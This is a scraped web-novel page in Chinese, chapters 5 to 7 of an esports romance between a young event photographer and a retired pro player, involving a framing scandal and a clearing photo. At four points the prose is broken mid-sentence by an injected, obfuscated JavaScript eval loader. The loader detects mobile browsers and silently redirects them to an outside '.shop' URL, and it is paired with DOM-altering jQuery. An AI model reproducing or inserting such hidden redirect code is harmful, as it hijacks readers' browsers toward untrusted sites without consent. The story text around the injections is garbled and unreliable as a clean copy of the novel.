“Heng你今天打得很好了!” “Dexter,加油啊——!” “明年肯定能拿下冠军!” 这声音并不整齐,甚至声音有些破碎。 许恋注意到,Dexter抬起身的时候几不可察地顿了一下。 随后他抬脚走向俱乐部准备好的大巴车,他努力环顾所有的观众,尽力向每一个方向挥手。 最后随着队友上了大巴车。 许恋站在原地,身边的喧嚣声未停。 这是她第一次感受到,原来“失败”也会得到无数的鼓励和掌声。 这感觉与她所熟知的一切都不同。 原来,这就是电竞啊。 她那一天还是回了从此以后只有她一个人的家,她凭借拼凑的碎片找到了他。 他不姓德,她所听到的对他的称呼是他作为电竞选手的ID:Dexter。 在拉丁语里,Dexter意为“右边的”“擅长的”,它还是一部电影《嗜血法医》的英文名称,同时也是电影《oneday》的男主的名字。 他取这个名字的原因是什么呢?他似乎也没特意解释过。 在遇见他以前,许恋是完全不了解什么是电竞、什么是LPL、什么是英雄联盟。 在那一个晚上,她迫切的想知道他口中的“梦想”是什么,于是恶补了一整晚关于他的信息。 她才知道前一天的失败对他有多重要。 第二天,她听索德的话,将那一组照片稍稍修了一下。其实索德的五官几乎没有瑕疵,只是皮肤看起来因为熬夜或者是压力大显得不太好,她只稍稍去掉了痘印和磨了皮。 与那句他要求的文案一起发送了出去。 也如同索德说的那样,她果然因为他的那一组照片火了。 无数人涌入了她的微博,有他的粉丝,也有单纯被他颜值吸引的人。 4楼:Dexter这破碎感……我直接血条清零。 68楼:纯路人,看不懂比赛,但是这张脸真的是打电竞的吗??! 132楼:什么梦想的陨落,明年我们还会有更好的成绩!! 222楼:谁懂他低头把玩打火机的那张,受不了了…… 433楼:秘书呢?我一分钟内要他所有的资料。 这一组图在几天内火遍全网,许恋也沾了光。有不少的小网红来找她约拍,但更多的是他的粉丝,想拍他的同款照片。 那之后的忙碌让许恋不再沉浸于妈妈丢弃自己的悲伤当中。 当时的许恋和所有人一样,以为他所说的陨落只是针对于当下的那一天。 可当当年的转会期结束都没等到他的消息。 才明白,他所说的陨落梦想,是再也不追随。 即使他没再出现在镜头前,许恋也凭借着以前的视频物料,一遍遍在脑里勾勒着他的形象。 他永远坚韧,赛场下永远自信而张扬,难掩光芒。可一旦上了赛场,无论面对着多大的劣势,都从容不迫。 那年世界赛赛后采访,他给无数人留下一句:“失败也是人生中的一种体验,能站在这,我并不遗憾。” 她痛苦的十八岁,因为他,好像也不那么至暗了。 “抱歉,我刚刚没有认出你。”索德的声音将她从回忆里拉了出来。 许恋回过神来,保持着微微仰头看着他的姿势,缓缓摇了摇头。 心里却在诉说:对我来说,当你想起我的那一瞬间,我们才算真正意义上的再见面。 在你没想起我以前,我什么都不是,只是你人生中所谓的路人和陌生人。 而在你想起我后,我这个人就在你生命中有了一定的定义。 所以现在,她笑着:“好久不见,Dexter。” “我是LPL官方赛事实习摄影师,Destin许恋。” 索德挑了挑眉,重点落在她的英文名上,“命运?” “是宿命。”许恋一瞬不变的盯着他,一字一句地解释。 取这个名字,想表达的是:遇见你,是我的宿命。 他反应了一会,点了点头,“挺有个性的,很适合你。” 许恋笑:“我也觉得。” “你要签名吗?”低沉地声音打破了片刻的安静。 一旁的周恒衍看着舒愿手中的应援物问道,他的眼中带了一丝温和的笑意。 原本专注关注着索德和许恋对话的舒愿,愕然抬头看向身侧的周恒衍。 那双常常专注面对游戏的眼睛,此刻正含着笑意,眼里满是自己。 巨大的狂喜朝她涌来,往日自诩周恒衍妈妈粉的她,心跳的节奏也有了别样的变化。 “要!”她几乎是喊出来。 谁会嫌签名多呢?更何况是他的。 她手忙脚乱的翻出今天刚领的应援手幅递给他。 看见这一幕的许恋,灵机一动。 随后抿了抿唇,开口:“Dexter,也能麻烦您,给我个签名吗?” 索德几不可察地挑了下眉。 他突然想起两人第一次见面时,把她当作自己粉丝的事。 哑然失笑着说:“真粉丝?” 许恋睁大眼睛,像是表达什么决心,一边大幅度点头一边说:“如假包换!” 而后,许恋端正自己的表情,非常认真的、眼神透澈且语调清晰地说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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原本索德并不确定周恒衍有多大的概率会答应明年一起和他去DBG。但面前粉丝的提问,他犹豫了。 他就知道,周恒衍有80%的概率答应他。 索德一边将相机递还给许恋,一边说:“他明年一定会再打一年。” 周恒衍低头笑了,三年过去了,索德还是这样果断自信的人。 “那你呢?” 许恋接过相机,看向他:“你真的会重回赛场吗?” 索德看着面前的女孩,眼里的笑意加深。几乎没有犹豫,用她刚刚的话回她:“如假包换。” 说完,他和周恒衍转身并肩往前走。 直到走出去很远,许恋脑海里突然闪过一瞬画面,一种近乎本能的冲动驯服了她,她迅速举起相机。 “咔嚓”一声。 捕捉到那一幕后,许恋放下相机,相机屏幕上是刚刚定格的照片。 “拍到周恒衍的背影了吗?”舒愿凑上来问。 “嗯。” “两个人都拍了。”她挪了挪相机,将那张照片给舒愿看。 “天呐,这张让我想起了你三年前拍的那张,也是他们俩的背影。” 许恋垂眸,视线落在了手中的照片上。 “我刚刚,也是想起了三年前那一幕,才举起了相机。” 他第一次给自己留下的背影,与此刻重逢后的背影,在她脑海里重叠。 5. 第五个恋想 许恋以为,再见到索德得到转会期结束,又或者需要更久。 却没想到,在几天后的冒泡赛上,她又一次见到了他。 后台的光线通亮,来来往往的工作人员个个步履迅疾,带着紧绷在走廊里穿梭。 许恋像往常一样,在前后台里来回跑。 “蛇果!”一个声音从走廊尽头传来。 许恋转头,看见走廊尽头有一个人靠在门框上向她挥手。 许恋立马卸下常带着的礼貌性微笑,几乎是咬牙切齿地了走过去。 “付、翊、均!”还没走近,她就叫他的全名。 扫了眼他身后不远处的队友,靠近他低声说:“你别当着那么多人叫我蛇果。” 这个名称是她中二时期的产物。 当时的她不喜欢自己的名字,恰巧她当时最爱的水果是蛇果。 她怎么想的来着? 好像是觉得明明和最普通的水果同属一类水果,可偏偏有一个那样特别的名字,长得也格外的鲜艳而红。 她想,自己就算是普通人,也要当人群中最鲜艳的那个人,要受到很多人的关注。 而见证过她整个中二时期的付翊均,是她人生中交到的第一个朋友。 他们从小学起就是同一个班级,如果不是许恋的有意捣蛋,他们甚至会成为一家人。 在高中毕业后,一个去了沪市上大学,一个赴美留学。 这是两人之间第一次离得那样远。 但不知道付翊均怎么想的,好好的大学上了半年,就跑回来了。 还嚷着要打电竞。 虽然说付翊均平时看着半调子的,但他是那种,一旦有了想做的事,便会不顾一切努力做到的人。 于是在两年前,他加入了DBG,成为了一名职业选手。 选手ID为:Attachment。 许恋嘲笑过他的ID,一个大男人取名为依恋,真是搞不清他的脑回路。 他当时只是笑了笑,什么也没说。 “sorry,忘记了。”付翊均漫不经心的道歉。 许恋的视线停在他垂眸的双眼上,没再追究他,“紧张吗?” 付翊均这两年虽然努力,可奈何队友不是很给力。他所处的DBG,诞生于十年前,是与OGD同时进军LPL的老牌俱乐部。 可随着母公司的陨落,往年总组建银河战舰的战队,这几年一直在缩减开支。能用新人就用新人,说是给新人机会,其实就是预算有限。 今年是付翊均第一次离世界赛这样近。DBG只要能在冒泡赛打赢两支队伍,就能成为四号种子,代表LPL参加今年S赛。 从小一起长到大,许恋光光就这样看着他,就能知道他多少有点紧张。 “有点。”付翊均挠了挠头,“而且今天投资人要来视察,我怕发挥不好搞砸了。” “既然想接手DBG的话,那肯定是看上了它背后的商业价值,你今天发挥的好不好其实不大重要。” “我不怕这个……” “那你怕什么?” 后台人来人往,付翊均尽量压低说:“怕把我换走。” 许恋听到这几个字后愣了片刻。 以付翊均现在的表现和年龄,并不用担心找不到更好的战队。况且,以他的性格和之前的态度,他并不会害怕自己搞砸任何事。 唯一有可能的是,这个投资人对他有压迫力,或者能让他心服口服。 难道是他爸?他看DBG坚持不下去了,自己又对DBG有感情,所以求着他爸来接盘了? “A子!”不远处传来付翊均队友的呼唤声,寓意着第一场对战RT的比赛马上开始。 许恋垂眸收下这些疑惑,带着设备走到了刘力身边。 作为赛事摄影,他们有时候也需要拍摄一些在休息室里,队员与教练们讨论的画面。 她今天的职责是进行后台和休息室的摄影工作。 之前最喜欢这个岗位的是程泷,只是不知道为什么他今天抢着要去舞台摄影。 许恋先跟随着刘力在RT那边快速拍摄了一些素材。拍摄途中,刘力突然被叫走,独留她一人继续拍摄。 RT休息室的门关上的瞬间,里面响起了震耳欲聋的《大悲咒》的音乐。 许恋被吓得一哆嗦,差点骂出脏话。 后台的隔音不是很好,有的战队为了防止对手刻意偷听战略,会故意制作一些遮掩住他们议论的声音。 站在原地平缓了片刻,她走向DBG战队的休息室,抬手敲了敲门,“您好,我进去拍些休息室素材。” 每个战队都有不同的战术,所以许恋每次拍摄后台花絮时都会敲门确保他们没有在谈论重要的战术事情。 这一次也是一样。 DBG的领队李航替她开了门。 “航哥,快把门关上,吵死了。” 门才开了短短的几秒,Sea就痛苦地捂上耳朵。 “真受不了了,他们也不嫌吵得慌。”门在李航的吐槽声中被关上。 相对于其他战队的选手,因为付翊均的关系,许恋与DBG战队的选手更为熟悉一点。她的目光穿过领队,扫过熟悉的场景:战术板上DBG的队徽,那些密密麻麻、箭头交错的笔迹,以及那些熟悉的面孔。 忽然间,她的目光返回到了战术板前。 那里有两道格格不入的身影。 其中一道,有点熟悉。 就在这时,领队李航带着职业化的笑容到了那两道身影前。 他解释:“索总,小索总,这位是赛事官方实习摄影,许恋老师。她需要进来拍一些休息室的花絮照,用于赛事的宣传素材。”李航的声音带着小心翼翼地圆滑。 在听见索总的那一秒,许恋的心狂跳起来。 “索”并不是一个常见的姓氏,加之那一道熟悉感的身影,一些猜测瞬间在她脑海里蔓延。 而战术板前的两个男人,在李航说完话后同时转过了身。 许恋的目光,完全的、正面的,与索德对上了。 索德转身后,看见许恋,微微挑了挑眉。 回过头的索言对她微微颔首,“许小姐,请便。” 可她没有任何回应,目光略显呆滞地看着他身旁的索德。 索言的视线在两人之间徘徊,最终落在索德身上,询问:“你们认识?” “嗯。” 他没有想多解释一下的意思,索言也就没再多问。 许恋恍然回神,她对索德点了点头,而后目光落在了索言身上。 她想起李航叫他“索总”,叫索德“小索总”。 那他是……索德的哥哥? 这样看,他与索德确实有五分像。最相似的是眉眼,可细看却发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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片刻后,许恋看着镜头里刻意摆弄姿势的少年们,有些无奈。 快门还没按下,她就又放下相机。 “你们能不能自然一点,这样能看出你们在硬凹造型,很僵硬的。” 到底还是二十出头的少年,正是爱展现自己的年纪。 许恋与官方和各个战队俱乐部沟通过。官方能用到的素材是有限的,所以他们同意许恋可以在自己的私人账号上发布一些未发布的信素材。 而她的账号本就有固定的粉丝基础,发出去如果出圈了,就能收获更多的粉丝和关注。 没有人不想红,所以每次她拍照时,总有些选手尽全力展示自己帅气的一幕。 “姐,这不是硬凹啊,我这是在模仿卡特的姿势。”Sea说着,还扭曲着姿势,重复做了一遍卡特拿双匕首的姿势。 Pipi忍不住翻白眼吐槽他:“你太夸张了吧,为了出片你还带道具。” “这可是我花了大价钱从某鱼收的。” 这是处于没有明星选手、没有粉丝、没有好成绩战队的悲哀。他们不想要别人忘记他们,不想因为籍籍无名而被战队丢弃,所以他们希望靠整活走出一条路,哪怕是嘲笑和看乐子,也比没有话题好。 他们这样左一句右一句,反倒让一开始紧绷的氛围变得轻松下来。 索德的目光一直没从许恋身上移开。 “你一直盯着人家女孩看什么?”索言凑近他问。 索德的目光微微收回,扯了扯嘴角,“就是觉得人生很奇妙。” 没想过仅有一面之缘的人会再遇见,没想过失去的梦想还有再追寻的一天。 这多奇妙啊。 6. 第六个恋想 远处骤然爆发的欢呼声席卷而来,站在舞台入口的工作人员大声说着:“快把队员们叫来,要准备入场了。” DBG的队员听令后,一个接一个的站起来准备排队出休息室。 一瞬间,连一贯爱逗乐的Sea表情都变得严肃起来。 付翊均在队伍末端,他出来时许恋正在门口。 “泡芙,加油。” 许恋在付翊均擦身而过时,在他耳边留下一句铿锵有力的加油。 不止她有中二的名称,当年付翊均也为自己起了一个名字。 这是属于他们之间独特的记忆。 想来,当时许恋就对他取名思路十分不理解。 “队长,走快点呀!”DBG辅助选手Pipi嗓门洪亮,一巴掌拍在了停住脚步的付翊均肩上,力道不轻。 付翊均被这股力量带着向前踉跄了半步,不得不收回落在许恋身上的目光。 他喉结滚动了一下,想说什么,又将未开口的话语与某种翻涌的情绪一同咽了回去。 片刻后,付翊均的脚步顿了一下,而后回头看向许恋。她早在留下加油后,就被等在门外的赛事现场总监吴繁森和刘力拉过去说话了。 只给他留了一个背影。 随着通往舞台的门被关上,后台瞬间又安静下来。 等到没人关注他们这块,吴繁森才开口问道:“那张照片是你拍的吗?” 许恋眼神微微错愕,她并不明白总监在说什么,语气里的严肃和略微带着的质问让她有些不安。 “什么照片?” 刘力低头拿出手机,他将那张照片找出,递给许恋。 解释道:“这张照片突然在网络上流出,引起了很多粉丝的讨论。现在YI和OGD俱乐部都很生气,想要讨个说法。” 许恋接过手机。 屏幕里是YI被抬上救护车的画面,镜头似乎是远处放大,将视角拉得很近。所以周围的人并没注意到有人将这张这幕拍摄下来。 而照片的参数设置,是许恋最常用的。 她在赛场上拍摄,很喜欢调低曝光,压下亮度,让画面沉陷一种沉浸又有故事感的调性里。 这是她专属的风格,其他摄影师虽然也会设置参数,但没有人像她这样风格明显。 所有参数都可以后期调,但许恋个人觉得,后期的修缮远不如拍下时自带的这种故事感。 这张照片,太像她的手笔了,不怪他们先来质问自己。 她将手机递还给刘力,“这不是我拍的。” “许恋,我们当然也不觉得是你。”吴繁森的声音一顿,话锋一转,“但这张照片的拍摄参数,经过初步核对,和你提交的其他赛事照片高度相似。” 他抬眼看许恋,抬手捏了捏眉心,“以及我刚刚看监控,YI上救护车时,并未找到你的身影。” 还有一点就是,现在网络上的舆论,一边倒的都怀疑许恋。 所有的证据似乎都指向她。 因为没有做过,许恋坚定语气:“凭风格就下定论,是不是太果断了?参数可以模仿,至于为什么监控没有我……” 她想了想,继续解释:“我当时在消防通道那找Heng,他可以为我作证。” 许恋抬手想摘下相机递给刘力,让他检查自己的相机以证清白。却恍然想到今天换了储存卡,那天的储存卡放在了酒店,手里的动作一顿。 可这动作落在眼前两人的眼里,又是另一个意思。 刚刚关上的DBG休息室门不知何时被推开,索德倚靠在门框上。他脸上没什么表情,目光平静地落在了许恋身上,很显然他听到了刚才的对话。 “不是她。”他的声音不高,但足以打断面前三人的对话。 他的出现,让其他两人皆一愣。 那天Dexter在后台,吴繁森是知道这件事,刘力是亲眼见到过他的。 但他会出来为许恋说话,让两人有些讶异。 索德没理会两人的反应,直起身,目光从许恋身上转向另外两人。 刘力的手机画面还停留在那张照片上,索德低头扫了一眼。 “YI上救护车的时候。”他开口,问题却是一个看似无关的方向,“Heng被找到了吗?” 刘力皱了皱眉,不解其意,下意识回答:“好像没有。当时后台有点乱,应该是YI上救护车后才找到Heng的。” “那我能为她证明。”索德接得很快,目光重新落回许恋身上,“她那时和我,还有周恒衍在一起,在消防通道那。” 顾及一个女生和两个男生在一起会引起不必要的话题,他解释:“我和Heng在聊天,她来找Heng回去比赛的。” 吴繁森的眉头锁得更紧,显然在权衡。如果有选手帮忙证词的话,尤其是周恒衍、索德这种级别的选手。即使索德处于退役的状况,他也不得不重视。 但仅凭一面之词…… 索德接着点了点许恋的相机,“你不是拍了一张我的背影吗?给他们看。” 许恋心跳漏了一拍,那天他果然听见了快门声。 唉,她深吸一口气。 虽然那天的储存卡不在身上,但索德那张背影,她单独导出到手机上过。 她拿出手机,指尖在相册上划弄。其实他那张照片很好找,在一个名为“Dexter”的专属收藏夹里。 但此刻的她,并不想泄露这一点。 片刻后,她在最近保存找到了那张背影,点开照片信息,将屏幕转向给吴繁森和刘力。 这张照片的所有时间、设备信息在两人面前展露出来。 “行。”刘力点点头。 “许恋,你把这张照片drop给我吧,我对下时间线。” 许恋听话地低头操纵手机。 YI上救护车时监控的时间是21:12,而许恋拍下索德这张背影的时间是21:11。 差了1分钟。 “刘哥。”许恋突然开口。 “如果定时拍摄的话,监控是不是无法作为不在场证明?” 那么相机不在身边的人才是。 这张照片的像素、质感很显然不是手机能拍出来的。那么,真正拍摄之人一定持有相机,且熟知许恋的拍摄风格。 对方明显是冲着栽赃许恋而来。 许恋点到为止,她保持成年人的体面不直接说出他的名字。 刘力因为她的话站在原地思索片刻,点了点头,“不排除这种可能,我们回去再调查调查。” 一直沉默不语的吴繁森,此刻轻轻舒了一口气,眉头也终于舒展了一些。 “小许啊。”他开口,声音恢复了平时的温润,与刚刚的严厉形成了鲜明对比,“当时我们招这一批赛事摄影师实习生,计划里其实只需要一个人。” “是我看了你附在简历后面的照片。”说到这,他顿了顿,笑了一瞬,“你或许觉得是那组Dexter的照片入了我的眼,又或者是其他你拍摄的电影海报、明星网红……” “这些都不是。” 他对上许恋的目光,“不知道你记不记得那一组。你拍凌晨扫街的工人、拍深夜便利店门口疲惫的骑手。当时我就觉得你光影和故事感抓得特别准。这种对瞬间和情绪的捕捉能力,是我们赛事记录里非常需要,却又常常被忽略的东西。” 他语气更加和缓,“所以,是我坚持要额外增加了一个名额。如果今天这事……唉。” 他没有说下去。如果真是许恋做的,那么他的坚持和赏识,就成了一个天大的笑话和失职。 许恋微微愣住,这是她第一次如此直接地听到关于自己职业价值的具体评价。 对,她最出圈的是为Dexter拍摄的那组照片,以及和知名导演陆知乐合作拍摄的电影海报。 而那些关于社会底层的故事摄影,是她暗藏私心。 她不想只做一个商业摄影,她更希望自己的作品能带给大家一些启发和共振。 许恋抬起头,更紧地握住了相机,非常郑重地,对着吴繁森,微微鞠了一躬。 “吴总监。”她的声音比刚才更稳,一字一句,像是在对自己,也像是在对眼前的人,“谢谢您。不只是谢谢您的坚持,更是谢谢您……看到了那些照片里,我真正想表达的东西。” “那张照片,绝对不是我拍的。”她的目光愈发坚定,“我不会让支持我的人失望,也不会让我自己走偏了来时的路。” “你很有天赋,继续加油。” 许恋回以一笑。 “不过许恋。”刘力开口的四个字,又让她的心提到嗓子眼。 “YI选手那边和俱乐部,我们会基于这些证据去沟通解释,尽量消除误会。” 许恋提到嗓子眼的心,稍稍往下落了一点。 但紧接着,刘力话锋一转,目光里带上了一丝忧虑:“你现在面临一个更棘手的问题,网络上的舆论 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17206448|197363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经发酵开了。说你是无良摄影师,偷拍选手急救、吃人血馒头、为了热度毫无底线……各种难听的话都出来了。现在矛头几乎都指向了你个人,你的社交媒体账号下面,恐怕已经没法看了。” YI和俱乐部那边,解释好之后没多大问题。但这张照片流传得太快,电竞圈又是喷子最多的地方。 他补充道:“官方声明需要时间核查和措辞,不可能立刻发出。而且,即便我们发了声明澄清不是你所为,很多网友可能也不会买账,甚至会说是官方在包庇。” “所以,在官方能够给出一个彻底的说法之前,关于网络上的这些攻击……恐怕需要你自己,暂时先……忍耐一下。或者,暂时不要去看,不要去回应。” 忍耐一下。 许恋捏紧相机,有些无措。 她当然知道网上会是什么样子。她甚至能想象出那些人会如何用最恶毒的语言编织罪名,如何将她过去所有用心拍摄的作品都曲解成别有用心。 她最讨厌忍耐了,一时的忍耐,便会被无数人贴上标签。 “不用忍耐。”一直听着他们对话的索德再一次开口。 他目光落在许恋未熄屏的那张照片上。 “你将这张照片发出去,像刚刚那样展示出时间信息,这些误会不就迎刃而解了?” 这样当然是最快的方式。 可是,“那不就……” 这张照片发出去,会引出更大的舆论。 关于他的。 索德微微勾唇,“那天,在人行道上,我和你说的第一句话是什么?” 他说的是:“可以说出去。” 许恋脑海里他的声音和自己此刻复述的声音重叠。 索德的笑意越发浓厚,“第二句呢?” “难道我要复出,是一件见不得人的事吗?” 许恋话语落下的瞬间,他的眼角也弯了起来。平时看不清情绪的眼眸,此刻能看见他明晃晃的愉悦。 “嗯。”他的尾音上扬,紧盯着许恋,“我的话,你倒是记得很清楚。” 紧接着,他的语气未变,“所以,发吧。” 四个字,斩钉截铁,将许恋所有的犹豫与负担都清除掉。 然后,他略略偏过头,目光更深地看向她,“我当年留给粉丝最后一组照片是由你拍的。” 他语调放缓,格外郑重:“这次复出的第一张照片,也交给你。” 许恋的心微微一颤。几乎是立马侧头,不敢再看他。 要疯了…… 他懂不懂把“最后”与“最初”这样极具象征意义的瞬间交托给自己的杀伤力。 这种毫无保留的信任,好让她心动啊…… 吴繁森和刘力道别后转身走向办公室。 这段后台的通道只剩许恋与索德两人,沉默在两人之间蔓延。 最终,是索德先有了动作。他身体微微前倾,拉近了两人之间的距离。 目光落在她紧握的手机上,嘴角牵起一个极淡的角度。 “这次还要我想文案吗?”他的声音打破了短暂的宁静,带着一丝轻松的调侃。 许恋猛地抬头,对上他带着笑意的眼睛。 “什么?”她一时没反应过来,困惑地眨了眨眼睛。 索德看着她懵然的神情,眼底的笑意加深。 “怎么不发出去?” 许恋张了张嘴,想说些什么。索德却好似知道她所想,“别有压力。” 他收敛笑意,声音沉缓下来,“这只是一张帮你澄清的照片。” “况且。”他语气一顿。 “如果能帮到你,我会很开心。”说完,他没有停留,自然地转过身回到了休息室。 休息室的门因为他的离开,失去了阻碍,由着惯力自然地合上。 许恋站在原地,她看着这扇紧闭的门。四周骤然安静下来,远处赛场沉闷地欢呼声,逐渐被她耳膜传来的心跳节拍所替代。 和他有关的画面不受控制地在脑海里回现。 第一次见面时,他点燃了自己的梦想。让她相信,这个世界除了爱,还有更多值得自己去追寻的东西。 第二次见面,他恭喜她,恭喜她实现了梦想。 而今天地第三次见面,他没有任何的犹豫就相信了她。并愿意替她维护她的梦想。 怎么会有……这样好的一个人。 好得如此具体,每次出现都恰好出现在她不知所措的时候。 7. 第七个恋想 许恋每一个不同平台的社交平台账号下都蔓延着恶意与质问。 仅仅因为一个未确定的谣言,就将她曾经的努力全都否决。 她深吸一口气,闭上了眼睛。脑海中浮现的,却是他刚刚说的:“所以,发吧。” 简单的四个字,在此刻给了她勇气,驱散了所有残留的犹豫。 她睁开眼,逐渐沉静下来。选择了那一张背影照片和照片信息的截图,上传。 发完后,许恋点开了自己的微信。 置顶聊天里,舒愿和樊榆雅的消息疯狂砸向她,两人分别给她发了几十条消息。 她先点进最上头樊榆雅的聊天框。 许恋给她的备注是碎碎,因为樊榆雅实在是太喜欢碎碎念了。 碎碎:【?有人造谣你!】 碎碎:【气死我了,怎么一个个说话这么难听,哪能证明这照片是你拍的了?】 碎碎:【你先别看微博。】 碎碎:【你等着,我马上去和他们对骂!姐给你杀出一条血路!】 …… 樊榆雅是许恋交到的人生中第一个同性好朋友。 她们是初中同学,高中也在一个班。即使后来许恋回槠洲读高三,也依旧保持联系。 大学一个留在了京市,一个选择了沪市,但这并不妨碍她们之间的关系一如既往的好。 最开始,樊榆雅与付翊均之间挺不对付。他们的交集,只在许恋的左右两侧。 但后来通过许恋相熟,三人也成了牢固的铁三角。 许恋低头笑了一下,原本还有一些憋屈的情绪一下子消散了。 她慢吞吞地回复她:【没事了,我已经发了澄清的微博。官方也会发完整的时间线,他们再不信我也没办法了。】 接着她点开舒愿的聊天框,与樊榆雅风风火火的风格不一样,她主打一个温柔安慰的风格。 许恋一条条仔细看,忽然她的目光停在她最开始给她转发的那条微博链接上。 还有她最先发送的信息: 周恒衍的妈粉:【欸?D神被拍到了!】 周恒衍的妈粉:【他今天也去场馆了,你遇到没有呀?】 周恒衍的妈粉:【啊啊啊好后悔!早知道付翊均能赢,还能看见Dexter,我就请假多看一天比赛了。】 好奇心驱使,许恋没有先回舒愿的信息,她点开了那条微博。 那是一条由今天看比赛的观众拍下发布的一条微博,配文很简单:“今天比赛快开始时,在场馆外的抽烟区偶遇D神了!手都在抖没拍清!!(哭哭)”。 照片因为模糊,加之光线昏暗,像素显得并不高。 画面里的男人身穿最简单的黑色连帽卫衣,帽子随意地扣在头上,遮住了大半张脸,只露出线条清晰的下颌和一点高挺的鼻梁。 他微微低着头,指尖一点猩红在昏暗光线下明灭。 尽管只有一个模糊的侧影,但只要认识他的人,就能一眼认出,这是Dexter。 这条微博下面的评论早已炸开了锅,点赞和评论数疯狂上涨。 许恋顺着点开了评论区。 热评1:是他!!!这个背影我化了灰都认得!D神你真的……我哭死[泪][泪][泪] 热评2:在DBG比赛日出现在场馆外……细思极恐!是不是要复出?还是说只是来看老东家?(@DBG电子竞技俱乐部出来说句话啊啊啊!) 热评3:抽烟的样子好寂寥啊……感觉这三年他是不是过得也不好?当初到底为什么走啊,意难平三年了! 虽然大多数都是粉丝的震惊与期待,但不乏有些顺着味来的喷子,在楼中楼里吵翻了天: 213楼:复出?别了吧,都三年了,版本变了多少,他还能跟上吗?给新人点机会行不行。 215楼:楼上懂什么?Dexter那是天赋怪!他走之前是什么水平?联盟独一档的ADC!意识操作都在,只要他想,随时回来教做人! 287楼:只有我关心他在哪里复出吗?回DBG?DBG现在这阵容…… 404楼:不管他去哪儿,只要他回来打比赛,我立刻买票去看! 587楼:呵呵,当初走得多潇洒,现在想回来就回来?电竞圈不是想来就来想走就走的地方。 666楼:感觉复出实锤了,快去看Destin新发的那条澄清微博,是Dexter的背影!! …… 许恋滑回到微博最顶端,目光久久停留在屏幕上的那张照片。 仿佛照片里的那团烟雾透过屏幕,带着尼古丁的涩味和夜晚的凉意,萦绕在她鼻尖。 他看起来……很寂寥吗? 这几天的见面,他的身边总有人。许恋只是觉得他变得话少了,也低调了。 可这张照片,剥去了他身边的热闹与喧嚣。他这样一个人的时候,的确显得格外寂寥。 这种寂寥不是无所事事的空虚,也不是孤身一人的空虚。而是那种心中明明有滚烫的梦想,有横冲直撞的勇气,却最终不得不放弃、不被理解的孤独。 她退出微博,回到和舒愿的聊天界面。在这之后她又发了几条和这条微博有关的消息。 周恒衍的妈粉:【你看评论了吗?炸了!】 周恒衍的妈粉:【天呐,Dexter消失这么久,竟然还是LPL话题王。他那条微博的热度,直接是今天比赛热度的好几倍。】 周恒衍的妈粉:【好多人在猜他是不是要复出,还有猜他去哪个队的……你说,他真的会再和Heng并肩作战吗?】 舒愿的消息还在刷新。 周恒衍的妈粉:【我和微博上的人对骂了几小时,说什么都不听。这下你把不在场证明甩他们脸上了,还拿Dexter的照片镇压。现在我一个个去反问怎么不叫了,真是爽哉爽哉。】 别看舒愿在朋友面前温温柔柔的,她可是追竞的,骂起人来绝不嘴软。 许恋终于打字回复:【遇到了。】 简短的三个字,却让顶部的“对方正在输入”瞬间消失,随即舒愿的语音通话请求就弹了过来。 许恋走到远处,才按下接听。 “恋恋!快说说今天发生了什么,是不是D神同意你发她的照片的。”舒愿的语速很快,声音也带着激动。 那张照片,许恋前几天给她看过。 舒愿知道以许恋的性格,是不会将那张背影发出去的。就算那张照片能为她澄清,她也不会在不经过索德的允许下发出去。 而她现在发了,就说明索德知道这张照片的存在,并同意她发出去。 “嗯……”许恋揪着一缕发丝,顺带着将今天发生的所有事都告诉了舒愿,包括DBG新投资人是索德哥哥。 “天呐……” 舒愿脑海里的思绪快速转动,紧接着又分析道:“那Dexter明年在,再加上我们偶遇时他们说的话……他们是不是要一起去DBG了!!” “啊啊啊,我的22带!!” “带”是粉丝为DBG战队取的别称,DBG全称Daybreak-破晓。 原本寓意挺好,但在LPL,再厉害的队伍也会有黑称,于是那些找不到黑点的喷子,就根据“Daybreak”发音的前两个音节谐音为“带不”,扩展为黑称:带不动队。 是一种嘲笑的意思,后来因为2022年,也就是Dexter所在的那年成绩极好。 加之某一次Rank,他遇上了一名与自己同边的粉丝。那人在队伍聊天里发了一句:Dexter,带我赢啊。 后来选手们看见Dexter都会说这句话,“Dexter带我赢”也逐渐变成一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17206449|197363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个梗。粉丝就将喷子嘴里的“带不动”洗成了“带我赢”,“带”也就变成了DBG战队的一个花名。 许恋垂眸,坚定的说:“会的,我也终于可以看见他上场了。” 许恋认识索德时,他已经打完了他十几岁的最后一场比赛。 她所了解到的他,全都是处于过去式的他。 而现在,她终于可以去追寻现在式的他。 - 舞台之上,DBG战队对阵RT战队的这场BO5世界赛冒泡赛,已经鏖战至最终的决胜局。 现场气氛被拉扯到极限,大屏上的画面僵持不定,经济与人头始终紧咬。 